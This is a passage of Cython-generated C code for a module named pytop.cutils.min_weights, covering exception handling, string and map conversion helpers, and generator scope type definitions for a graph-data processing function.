__pyx_t_6 = 0; /*except:*/ { __Pyx_AddTraceback("pytop.cutils.min_weights.add_min_weights_to_data", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_6, &__pyx_t_2) < 0) __PYX_ERR(0, 128, __pyx_L9_except_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyTuple_Pack(3, __pyx_t_4, __pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L9_except_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 128, __pyx_L9_except_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = __Pyx_PyObject_IsTrue(__pyx_t_13); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; if (__pyx_t_14 < 0) __PYX_ERR(0, 128, __pyx_L9_except_error) __pyx_t_15 = ((!(__pyx_t_14 != 0)) != 0); if (__pyx_t_15) { __Pyx_GIVEREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_ErrRestoreWithState(__pyx_t_4, __pyx_t_6, __pyx_t_2); __pyx_t_4 = 0; __pyx_t_6 = 0; __pyx_t_2 = 0; __PYX_ERR(0, 128, __pyx_L9_except_error) } __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; goto __pyx_L8_exception_handled; } __pyx_L9_except_error:; __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); goto __pyx_L1_error; __pyx_L8_exception_handled:; __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); __pyx_L12_try_end:; } } /*finally:*/ { /*normal exit:*/{ if (__pyx_t_7) { __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__5, NULL); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } goto __pyx_L6; } __pyx_L6:; } goto __pyx_L18; __pyx_L3_error:; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; goto __pyx_L1_error; __pyx_L18:; } /* "pytop/cutils/min_weights.pyx":115 * * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): # <<<<<<<<<<<<<< * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_6); __Pyx_AddTraceback("pytop.cutils.min_weights.add_min_weights_to_data", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_slice_gen); __Pyx_XDECREF(__pyx_gb_5pytop_6cutils_11min_weights_23add_min_weights_to_data_2generator); __Pyx_XDECREF(__pyx_v_slicer); __Pyx_XDECREF(__pyx_v_parser); __Pyx_XDECREF(__pyx_v_pool); __Pyx_XDECREF(__pyx_v__); __Pyx_DECREF(((PyObject *)__pyx_cur_scope)); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "string.to_py":31 * * @cname("__pyx_convert_PyObject_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyObject_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyObject_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ static CYTHON_INLINE PyObject *__pyx_convert_PyObject_string_to_py_std__in_string(std::string const &__pyx_v_s) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__pyx_convert_PyObject_string_to_py_std__in_string", 0); /* "string.to_py":32 * @cname("__pyx_convert_PyObject_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyObject_string_to_py_std__in_string(const string& s): * return __Pyx_PyObject_FromStringAndSize(s.data(), s.size()) # <<<<<<<<<<<<<< * cdef extern from *: * cdef object __Pyx_PyUnicode_FromStringAndSize(const char*, size_t) */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyObject_FromStringAndSize(__pyx_v_s.data(), __pyx_v_s.size()); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "string.to_py":31 * * @cname("__pyx_convert_PyObject_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyObject_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyObject_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("string.to_py.__pyx_convert_PyObject_string_to_py_std__in_string", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = 0; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "string.to_py":37 * * @cname("__pyx_convert_PyUnicode_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyUnicode_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyUnicode_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ static CYTHON_INLINE PyObject *__pyx_convert_PyUnicode_string_to_py_std__in_string(std::string const &__pyx_v_s) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__pyx_convert_PyUnicode_string_to_py_std__in_string", 0); /* "string.to_py":38 * @cname("__pyx_convert_PyUnicode_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyUnicode_string_to_py_std__in_string(const string& s): * return __Pyx_PyUnicode_FromStringAndSize(s.data(), s.size()) # <<<<<<<<<<<<<< * cdef extern from *: * cdef object __Pyx_PyStr_FromStringAndSize(const char*, size_t) */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyUnicode_FromStringAndSize(__pyx_v_s.data(), __pyx_v_s.size()); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "string.to_py":37 * * @cname("__pyx_convert_PyUnicode_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyUnicode_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyUnicode_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("string.to_py.__pyx_convert_PyUnicode_string_to_py_std__in_string", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = 0; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "string.to_py":43 * * @cname("__pyx_convert_PyStr_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyStr_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyStr_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ static CYTHON_INLINE PyObject *__pyx_convert_PyStr_string_to_py_std__in_string(std::string const &__pyx_v_s) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__pyx_convert_PyStr_string_to_py_std__in_string", 0); /* "string.to_py":44 * @cname("__pyx_convert_PyStr_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyStr_string_to_py_std__in_string(const string& s): * return __Pyx_PyStr_FromStringAndSize(s.data(), s.size()) # <<<<<<<<<<<<<< * cdef extern from *: * cdef object __Pyx_PyBytes_FromStringAndSize(const char*, size_t) */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyStr_FromStringAndSize(__pyx_v_s.data(), __pyx_v_s.size()); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "string.to_py":43 * * @cname("__pyx_convert_PyStr_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyStr_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyStr_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("string.to_py.__pyx_convert_PyStr_string_to_py_std__in_string", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = 0; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "string.to_py":49 * * @cname("__pyx_convert_PyBytes_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyBytes_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyBytes_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ static CYTHON_INLINE PyObject *__pyx_convert_PyBytes_string_to_py_std__in_string(std::string const &__pyx_v_s) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__pyx_convert_PyBytes_string_to_py_std__in_string", 0); /* "string.to_py":50 * @cname("__pyx_convert_PyBytes_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyBytes_string_to_py_std__in_string(const string& s): * return __Pyx_PyBytes_FromStringAndSize(s.data(), s.size()) # <<<<<<<<<<<<<< * cdef extern from *: * cdef object __Pyx_PyByteArray_FromStringAndSize(const char*, size_t) */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyBytes_FromStringAndSize(__pyx_v_s.data(), __pyx_v_s.size()); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "string.to_py":49 * * @cname("__pyx_convert_PyBytes_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyBytes_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyBytes_FromStringAndSize(s.data(), s.size()) * cdef extern from *: */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("string.to_py.__pyx_convert_PyBytes_string_to_py_std__in_string", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = 0; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "string.to_py":55 * * @cname("__pyx_convert_PyByteArray_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyByteArray_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyByteArray_FromStringAndSize(s.data(), s.size()) * */ static CYTHON_INLINE PyObject *__pyx_convert_PyByteArray_string_to_py_std__in_string(std::string const &__pyx_v_s) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__pyx_convert_PyByteArray_string_to_py_std__in_string", 0); /* "string.to_py":56 * @cname("__pyx_convert_PyByteArray_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyByteArray_string_to_py_std__in_string(const string& s): * return __Pyx_PyByteArray_FromStringAndSize(s.data(), s.size()) # <<<<<<<<<<<<<< * */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyByteArray_FromStringAndSize(__pyx_v_s.data(), __pyx_v_s.size()); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "string.to_py":55 * * @cname("__pyx_convert_PyByteArray_string_to_py_std__in_string") * cdef inline object __pyx_convert_PyByteArray_string_to_py_std__in_string(const string& s): # <<<<<<<<<<<<<< * return __Pyx_PyByteArray_FromStringAndSize(s.data(), s.size()) * */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("string.to_py.__pyx_convert_PyByteArray_string_to_py_std__in_string", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = 0; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "map.to_py":201 * * @cname("__pyx_convert_unordered_map_to_py_std_3a__3a_string____float") * cdef object __pyx_convert_unordered_map_to_py_std_3a__3a_string____float(const map[X,Y]& s): # <<<<<<<<<<<<<< * o = {} * cdef const map[X,Y].value_type *key_value */ static PyObject *__pyx_convert_unordered_map_to_py_std_3a__3a_string____float(std::unordered_map<std::string,float> const &__pyx_v_s) { PyObject *__pyx_v_o = NULL; std::unordered_map<std::string,float> ::value_type const *__pyx_v_key_value; std::unordered_map<std::string,float> ::const_iterator __pyx_v_iter; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; int __pyx_t_2; PyObject *__pyx_t_3 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("__pyx_convert_unordered_map_to_py_std_3a__3a_string____float", 0); /* "map.to_py":202 * @cname("__pyx_convert_unordered_map_to_py_std_3a__3a_string____float") * cdef object __pyx_convert_unordered_map_to_py_std_3a__3a_string____float(const map[X,Y]& s): * o = {} # <<<<<<<<<<<<<< * cdef const map[X,Y].value_type *key_value * cdef map[X,Y].const_iterator iter = s.begin() */ __pyx_t_1 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 202, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_v_o = ((PyObject*)__pyx_t_1); __pyx_t_1 = 0; /* "map.to_py":204 * o = {} * cdef const map[X,Y].value_type *key_value * cdef map[X,Y].const_iterator iter = s.begin() # <<<<<<<<<<<<<< * while iter != s.end(): * key_value = &cython.operator.dereference(iter) */ __pyx_v_iter = __pyx_v_s.begin(); /* "map.to_py":205 * cdef const map[X,Y].value_type *key_value * cdef map[X,Y].const_iterator iter = s.begin() * while iter != s.end(): # <<<<<<<<<<<<<< * key_value = &cython.operator.dereference(iter) * o[key_value.first] = key_value.second */ while (1) { __pyx_t_2 = ((__pyx_v_iter != __pyx_v_s.end()) != 0); if (!__pyx_t_2) break; /* "map.to_py":206 * cdef map[X,Y].const_iterator iter = s.begin() * while iter != s.end(): * key_value = &cython.operator.dereference(iter) # <<<<<<<<<<<<<< * o[key_value.first] = key_value.second * cython.operator.preincrement(iter) */ __pyx_v_key_value = (&(*__pyx_v_iter)); /* "map.to_py":207 * while iter != s.end(): * key_value = &cython.operator.dereference(iter) * o[key_value.first] = key_value.second # <<<<<<<<<<<<<< * cython.operator.preincrement(iter) * return o */ __pyx_t_1 = PyFloat_FromDouble(__pyx_v_key_value->second); if (unlikely(!__pyx_t_1)) __PYX_ERR(1, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __pyx_convert_PyBytes_string_to_py_std__in_string(__pyx_v_key_value->first); if (unlikely(!__pyx_t_3)) __PYX_ERR(1, 207, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (unlikely(PyDict_SetItem(__pyx_v_o, __pyx_t_3, __pyx_t_1) < 0)) __PYX_ERR(1, 207, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "map.to_py":208 * key_value = &cython.operator.dereference(iter) * o[key_value.first] = key_value.second * cython.operator.preincrement(iter) # <<<<<<<<<<<<<< * return o * */ (void)((++__pyx_v_iter)); } /* "map.to_py":209 * o[key_value.first] = key_value.second * cython.operator.preincrement(iter) * return o # <<<<<<<<<<<<<< * * */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(__pyx_v_o); __pyx_r = __pyx_v_o; goto __pyx_L0; /* "map.to_py":201 * * @cname("__pyx_convert_unordered_map_to_py_std_3a__3a_string____float") * cdef object __pyx_convert_unordered_map_to_py_std_3a__3a_string____float(const map[X,Y]& s): # <<<<<<<<<<<<<< * o = {} * cdef const map[X,Y].value_type *key_value */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_3); __Pyx_AddTraceback("map.to_py.__pyx_convert_unordered_map_to_py_std_3a__3a_string____float", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = 0; __pyx_L0:; __Pyx_XDECREF(__pyx_v_o); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *__pyx_freelist_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data[8]; static int __pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data = 0; static PyObject *__pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { PyObject *o; if (CYTHON_COMPILING_IN_CPYTHON && likely((__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data > 0) & (t->tp_basicsize == sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data)))) { o = (PyObject*)__pyx_freelist_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data[--__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data]; memset(o, 0, sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data)); (void) PyObject_INIT(o, t); } else { o = (*t->tp_alloc)(t, 0); if (unlikely(!o)) return 0; } return o; } static void __pyx_tp_dealloc_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data(PyObject *o) { if (CYTHON_COMPILING_IN_CPYTHON && ((__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data < 8) & (Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data)))) { __pyx_freelist_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data[__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data++] = ((struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *)o); } else { (*Py_TYPE(o)->tp_free)(o); } } static PyTypeObject __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data = { PyVarObject_HEAD_INIT(0, 0) "pytop.cutils.min_weights.__pyx_scope_struct__add_min_weights_to_data", /*tp_name*/ sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data), /*tp_basicsize*/ 0, /*tp_itemsize*/ __pyx_tp_dealloc_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data, /*tp_dealloc*/ #if PY_VERSION_HEX < 0x030800b4 0, /*tp_print*/ #endif #if PY_VERSION_HEX >= 0x030800b4 0, /*tp_vectorcall_offset*/ #endif 0, /*tp_getattr*/ 0, /*tp_setattr*/ #if PY_MAJOR_VERSION < 3 0, /*tp_compare*/ #endif #if PY_MAJOR_VERSION >= 3 0, /*tp_as_async*/ #endif 0, /*tp_repr*/ 0, /*tp_as_number*/ 0, /*tp_as_sequence*/ 0, /*tp_as_mapping*/ 0, /*tp_hash*/ 0, /*tp_call*/ 0, /*tp_str*/ 0, /*tp_getattro*/ 0, /*tp_setattro*/ 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER, /*tp_flags*/ 0, /*tp_doc*/ 0, /*tp_traverse*/ 0, /*tp_clear*/ 0, /*tp_richcompare*/ 0, /*tp_weaklistoffset*/ 0, /*tp_iter*/ 0, /*tp_iternext*/ 0, /*tp_methods*/ 0, /*tp_members*/ 0, /*tp_getset*/ 0, /*tp_base*/ 0, /*tp_dict*/ 0, /*tp_descr_get*/ 0, /*tp_descr_set*/ 0, /*tp_dictoffset*/ 0, /*tp_init*/ 0, /*tp_alloc*/ __pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data, /*tp_new*/ 0, /*tp_free*/ 0, /*tp_is_gc*/ 0, /*tp_bases*/ 0, /*tp_mro*/ 0, /*tp_cache*/ 0, /*tp_subclasses*/ 0, /*tp_weaklist*/ 0, /*tp_del*/ 0, /*tp_version_tag*/ #if PY_VERSION_HEX >= 0x030400a1 0, /*tp_finalize*/ #endif #if PY_VERSION_HEX >= 0x030800b1 0, /*tp_vectorcall*/ #endif #if PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000 0, /*tp_print*/ #endif }; static struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *__pyx_freelist_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen[8]; static int __pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen = 0; static PyObject *__pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { PyObject *o; if (CYTHON_COMPILING_IN_CPYTHON && likely((__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen > 0) & (t->tp_basicsize == sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen)))) { o = (PyObject*)__pyx_freelist_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen[--__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen]; memset(o, 0, sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen)); (void) PyObject_INIT(o, t); PyObject_GC_Track(o); } else { o = (*t->tp_alloc)(t, 0); if (unlikely(!o)) return 0; } return o; } static void __pyx_tp_dealloc_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen(PyObject *o) { struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *p = (struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *)o; PyObject_GC_UnTrack(o); Py_CLEAR(p->__pyx_outer_scope); Py_CLEAR(p->__pyx_v_i); Py_CLEAR(p->__pyx_v_idxs); Py_CLEAR(p->__pyx_t_0); if (CYTHON_COMPILING_IN_CPYTHON && ((__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen < 8) & (Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen)))) { __pyx_freelist_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen[__pyx_freecount_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen++] = ((struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *)o); } else { (*Py_TYPE(o)->tp_free)(o); } } static int __pyx_tp_traverse_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen(PyObject *o, visitproc v, void *a) { int e; struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *p = (struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen *)o; if (p->__pyx_outer_scope) { e = (*v)(((PyObject *)p->__pyx_outer_scope), a); if (e) return e; } if (p->__pyx_v_i) { e = (*v)(p->__pyx_v_i, a); if (e) return e; } if (p->__pyx_v_idxs) { e = (*v)(p->__pyx_v_idxs, a); if (e) return e; } if (p->__pyx_t_0) { e = (*v)(p->__pyx_t_0, a); if (e) return e; } return 0; } static PyTypeObject __pyx_type_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen = { PyVarObject_HEAD_INIT(0, 0) "pytop.cutils.min_weights.__pyx_scope_struct_1_slice_gen", /*tp_name*/ sizeof(struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen), /*tp_basicsize*/ 0, /*tp_itemsize*/ __pyx_tp_dealloc_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen, /*tp_dealloc*/ #if PY_VERSION_HEX < 0x030800b4 0, /*tp_print*/ #endif #if PY_VERSION_HEX >= 0x030800b4 0, /*tp_vectorcall_offset*/ #endif 0, /*tp_getattr*/ 0, /*tp_setattr*/ #if PY_MAJOR_VERSION < 3 0, /*tp_compare*/ #endif #if PY_MAJOR_VERSION >= 3 0, /*tp_as_async*/ #endif 0, /*tp_repr*/ 0, /*tp_as_number*/ 0, /*tp_as_sequence*/ 0, /*tp_as_mapping*/ 0, /*tp_hash*/ 0, /*tp_call*/ 0, /*tp_str*/ 0, /*tp_getattro*/ 0, /*tp_setattro*/ 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC, /*tp_flags*/ 0, /*tp_doc*/ __pyx_tp_traverse_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen, /*tp_traverse*/ 0, /*tp_clear*/ 0, /*tp_richcompare*/ 0, /*tp_weaklistoffset*/ 0, /*tp_iter*/ 0, /*tp_iternext*/ 0, /*tp_methods*/ 0, /*tp_members*/ 0, /*tp_getset*/ 0, /*tp_base*/ 0, /*tp_dict*/ 0, /*tp_descr_get*/ 0, /*tp_descr_set*/ 0, /*tp_dictoffset*/ 0, /*tp_init*/ 0, /*tp_alloc*/ __pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen, /*tp_new*/ 0, /*tp_free*/ 0, /*tp_is_gc*/ 0, /*tp_bases*/ 0, /*tp_mro*/ 0, /*tp_cache*/ 0, /*tp_subclasses*/ 0, /*tp_weaklist*/ 0, /*tp_del*/ 0, /*tp_version_tag*/ #if PY_VERSION_HEX >= 0x030400a1 0, /*tp_finalize*/ #endif #if PY_VERSION_HEX >= 0x030800b1 0, /*tp_vectorcall*/ #endif #if PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000 0, /*tp_print*/ #endif }; static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 #if CYTHON_PEP489_MULTI_PHASE_INIT static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ static int __pyx_pymod_exec_min_weights(PyObject* module); /*proto*/ static PyModuleDef_Slot __pyx_moduledef_slots[] = { {Py_mod_create, (void*)__pyx_pymod_create}, {Py_mod_exec, (void*)__pyx_pymod_exec_min_weights}, {0, NULL} }; #endif static struct PyModuleDef __pyx_moduledef = { PyModuleDef_HEAD_INIT, "min_weights", 0, /* m_doc */ #if CYTHON_PEP489_MULTI_PHASE_INIT 0, /* m_size */ #else -1, /* m_size */ #endif __pyx_methods /* m_methods */, #if CYTHON_PEP489_MULTI_PHASE_INIT __pyx_moduledef_slots, /* m_slots */ #else NULL, /* m_reload */ #endif NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif #ifndef CYTHON_SMALL_CODE #if defined(__clang__) #define CYTHON_SMALL_CODE #elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) #define CYTHON_SMALL_CODE __attribute__((cold)) #else #define CYTHON_SMALL_CODE #endif #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_n_s_DEBUG, __pyx_k_DEBUG, 